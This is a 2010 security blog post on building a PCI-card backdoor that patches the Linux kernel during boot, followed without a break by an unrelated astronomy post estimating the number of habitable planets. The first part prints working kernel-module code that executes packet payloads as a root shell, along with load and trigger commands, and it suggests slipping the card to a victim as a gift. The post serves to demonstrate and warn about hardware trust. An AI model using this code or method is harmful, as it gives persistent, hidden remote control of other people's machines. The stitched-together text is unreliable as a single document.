Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?
In some cases, that may not be enough. In this blog post, we’re going to describe how we can gain full control of someone’s machine by giving them a piece of hardware which they install into their computer. The backdoor won’t leave any trace on the disk, so it won’t be eliminated even if the operating system is reinstalled. It’s important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed.
I’ll let you figure out the social engineering side of getting the hardware installed (birthday “present”?), and instead focus on some of the technical details involved.
Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We’re going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it’s mainly just a matter of engineering effort to support a wide range of kernels.
Modifying the kernel with a kernel module
The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.
IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.
The Linux kernel has a global table
inet_protosconsisting of astruct net_protocol *for each protocol number. The important field for our purposes ishandler, a pointer to a function which takes a single argument of typestruct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry ininet_protoscorresponding to the protocol number of the packet, and if the entry is notNULL, it passes the packet to thehandlerfunction. Thestruct sk_bufftype is quite complicated, but the only field we care about is thedatafield, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using thecall_usermodehelperfunction, so our handler looks like this:int exec_packet(struct sk_buff *skb) { char *argv[4] = {"/bin/sh", "-c", skb->data, NULL}; char *envp[1] = {NULL}; call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT); kfree_skb(skb); return 0; }We also have to define a
struct net_protocolwhich points to our packet handler, and register it when our module is loaded:const struct net_protocol proto163_protocol = { .handler = exec_packet, .no_policy = 1, .netns_ok = 1 }; int init_module(void) { return (inet_add_protocol(&proto163_protocol, 163) < 0); }Let’s build and load the module:
rwbarton@target:~$ make make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic' CC [M] /home/rwbarton/exec163.o Building modules, stage 2. MODPOST 1 modules CC /home/rwbarton/exec163.mod.o LD [M] /home/rwbarton/exec163.ko make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic' rwbarton@target:~$ sudo insmod exec163.koNow we can use
sendip(available in thesendipUbuntu package) to construct and send a packet with protocol number 163 from a second machine (namedcontrol) to the target machine:rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetiprwbarton@target:~$ ls -l /tmp/x -rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/xGreat! It worked. Note that we have to send a null-terminated string in the payload, because that’s what
call_usermodehelperexpects to find inargvand we didn’t add a terminator inexec_packet.Modifying the on-disk kernel
In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.
The kernel lives in the
/bootdirectory; on my test system, it’s called/boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:
- it allocated kernel memory to store our kernel module, including both code (the
exec_packetfunction) and data (proto163_protocoland the string constants inexec_packet) sections;- it performed relocations, so that, for example,
exec_packetknows the addresses of the kernel functions it needs to call such askfree_skb, as well as the addresses of its string constants;- it ran our
init_modulefunction.We have to address each of these points in figuring out how to apply our changes without making use of the module loader.
The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our
proto163_protocolininet_protos[163], since we have an exact copy of its code.The first point is a little tricky. Normally, we would call
kmallocto allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to callkmalloc, but we’d still have to find somewhere to store that extra code.What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:
rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | lessOne of the output lines is this one:
<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.
Having worked out what changes need to be applied to the decompressed kernel, we can modify the
vmlinuzfile so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code invmlinuzthat decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write thatjmpinstruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.Modifying the kernel during the boot process
Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?
The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.
When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.
On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the
/boot/vmlinuz-2.6.32-24-genericimage from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes theint 0x13instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt0x13points to the BIOS code handling hard drive IO.Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt
0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make theint 0x13handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of/boot/vmlinuz-2.6.32-24-genericthat we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our customint 0x13handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.In summary, the boot process of the system with our PCI card inserted looks like this:
- The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
- The BIOS runs our expansion ROM code, which hooks the
int 0x13handler so that it will apply our patch to thevmlinuzfile when it is read off the disk.- The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
- GRUB reads the
vmlinuzfile from the disk, but our customint 0x13handler applies our patches to the kernel before returning.- GRUB jumps to the
vmlinuzentry point, which decompresses the kernel image. Our modifications tovmlinuzcause it to overwrite a string constant with ourexec_packetfunction and associated data, and also to overwrite the end of the startup code to install a pointer to this data ininet_protos[163].- The startup code of the decompressed kernel runs and installs our handler in
inet_protos[163].- The kernel continues to boot normally.
We can now control the machine remotely over the Internet by sending it packets with protocol number 163.
One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.
What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.
Ksplice Uptrack
This entry was posted on Wednesday, October 27th, 2010 at 11:56 am and is filed under security. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
We need to get more open source hardware out there. http://en.wikipedia.org/wiki/Open-source_hardware
By now you may have heard the report that as many as 1/4 of all the sun-like stars in the Milky Way may have Earth-like worlds. Briefly, astronomers studied 166 stars within 80 light years of Earth, and did a survey of the planets they found orbiting them. What they found is that about 1.5% of the stars have Jupiter-mass planets, 6% have Neptune-mass ones, and about 12% have planets from 3 – 10 times the Earth’s mass.This sample isn’t complete, and they cannot detect planets smaller than 3 times the Earth’s mass. But using some statistics, they can estimate from the trend that as many as 25% of sun-like stars have earth-mass planets orbiting them!
Like mass?
Now, there’s a very important caveat here: these are planets that have the same mass as Earth, but that doesn’t mean they are very earth-like. The planets the team could find were very close to their parent stars, so they’d be very hot, and uninhabitable. But the good news is that if that trend in mass they saw is correct, the Milky Way is littered with planets the mass of the Earth! If some of them are in the habitable zone of their star… well.
So a funny thing: I was thinking about this very problem a couple of days ago, but from a different angle. How many habitable planets are there in the Milky Way? Not just earth-mass, but also orbiting their star in the so-called Goldilocks Zone, where temperatures are right for liquid water?There’s a way to estimate it. And it involves the planet recently announced, Gliese 581g. This planet is about 3 times the Earth’s mass, and it orbits its star in the right place. We don’t know what it’s made of, if it has an atmosphere, or really very much about it at all! But given its mass and temperature, it’s potentially habitable.
The distance to the Gliese 581 system is what gets me excited: it’s 20 light years away. That’s close, compared to the vast size of our galaxy. So let’s assume Gliese 581g is the closest potentially habitable planet to us. Given that assumption, we can estimate the number of potentially habitable planets in the entire Milky Way! And the math’s not even that hard.
The not-so-hard math
Extrapolating from our one example, let’s say that habitable planets are roughly 20 light years apart in the galaxy (as we’ll see, that number can be a lot bigger or smaller, and the end result is still cool). That means there’s one star per cube 20 light years on a side:
In the drawing, each box is centered on a star, and the two stars are 20 light years apart. That means the cubes are 20 light years on a side, right? If we assume stars with livable planets are distributed throughout the galaxy like this, then there is one star per 20 x 20 x 20 = 8000 cubic light years. That’s the density of habitable planets in the galaxy.
So how many cubic light years are there in the galaxy?
A lot. Let’s say the Milky Way is a stubby cylinder 100,000 light years across, and 2500 light years thick. The equation of volume of a cylinder is
volume = π x radius of disk2 x height of disk
so
volume = π x 50,0002 x 2500 = 2 x 1013 cubic light years
Holy wow! That’s 20 trillion cubic light years!
Now we just divide the volume of the galaxy by the density of stars with planets to get
2 x 1013 / 8000 = 2,500,000,000 planets
Oh my. Yeah, let that sink in for a second. That’s 2.5 billion planets that are potentially habitable!
What does this mean?
Well, that’s a whole lot of planets! That’s what it means.
What’s cool, too, is that this number isn’t all that far off from what you can estimate using the report from yesterday. Something like 25% of the stars in the galaxy are like the Sun (that’s a rough estimate, but close enough). That’s 50 billion stars. If 25% of those have earth-mass planets, that’s about 13 billion total, about five times the number I got. I’d call that pretty close! We made a lot of guesses here, so even a factor of ten isn’t so bad. And we’re not really comparing apples to apples, either, since they were looking for earth-mass planets, and I was looking for earth-like planets.
So think about it: 2.5 billion habitable planets is roughly enough for every man, woman, and child on Earth to each have a planet. You can see why I’m not too concerned with the exact math. Even if my numbers are way off, there could be as few as hundreds of millions of planets, or as many as maybe hundreds of billions in our galaxy alone that we could live on!
Again, the point being that mathematically speaking, there may be a lot of habitable planets out there. And who knows; some may be marginally habitable and we can terraform them. And then there are moons of worlds, too… I don’t think I’m speaking too far out of school if I were to speculate that for every perfect Terra Nova out there, there might be three or four more planets we could live on with some work.
Of course, I’m ignoring how we’d get there! But that’s an engineering problem, and given enough time — oh, say, a century or two — I imagine we can overcome a lot of those issues.
If, and when, we do, there will be a lot of real estate out there to poke around in.
Per ardua, ad astra!